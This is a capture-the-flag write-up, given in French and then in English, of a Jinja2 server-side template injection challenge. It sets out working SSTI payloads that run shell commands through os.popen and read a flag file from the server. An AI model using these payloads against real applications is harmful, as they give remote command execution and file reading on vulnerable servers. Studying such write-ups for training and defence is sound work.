Vérification de la faille :

Vérification de la SSTI ; si le code est exécuté, le site affichera 49 :

```
{{7*7}}
```

Le code s'étant bien exécuté, on peut poursuivre.

Exploitation de la faille

En recherchant des *payloads* pour exploiter ce type de faille, on en trouve un parfait pour ce que l'on veut faire :

```
{{
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()
}}
```

On situe notre emplacement sur le serveur avec :

```
{{
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('pwd').read()
}}
```

On effectue un `ls` sur la racine pour trouver quelque chose d'intéressant :

```
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls
/').read() }}
```

Découverte du dossier `/lakeviewhotel_secrets`.

`ls` sur le dossier `/lakeviewhotel_secrets` :
découverte du fichier `flag.txt`.

Lecture du fichier `flag.txt` :

```
{{
get_flashed_messages.__globals__.__builtins__.open("/lakeviewhotel_secrets/flag.txt
").read() }}
```

Write-up Silent_Hill_2_Part_1

Vulnerability Verification:

Verification of SSTI; if the code executes, the site will display 49:

```
{{7*7}}
```

As the code has executed correctly, we can proceed.

Exploit of the Vulnerability

While searching for payloads to exploit this type of vulnerability, we find one perfect for our needs:

```
{{
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()
}}
```

We locate our position on the server with:

```
{{
self._TemplateReference__context.cycler.__init__.__globals__.os.popen('pwd').read()
}}
```

We run `ls` on the root directory to find something interesting:

```
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls
/').read() }}
```

Discovery of the folder `lakeviewhotel_secrets`.

`ls` on the `lakeviewhotel_secrets` folder:
discovery of the file `flag.txt`.

Reading the file `flag.txt`:

```
{{
get_flashed_messages.__globals__.__builtins__.open("/lakeviewhotel_secrets/flag.txt
").read() }}
```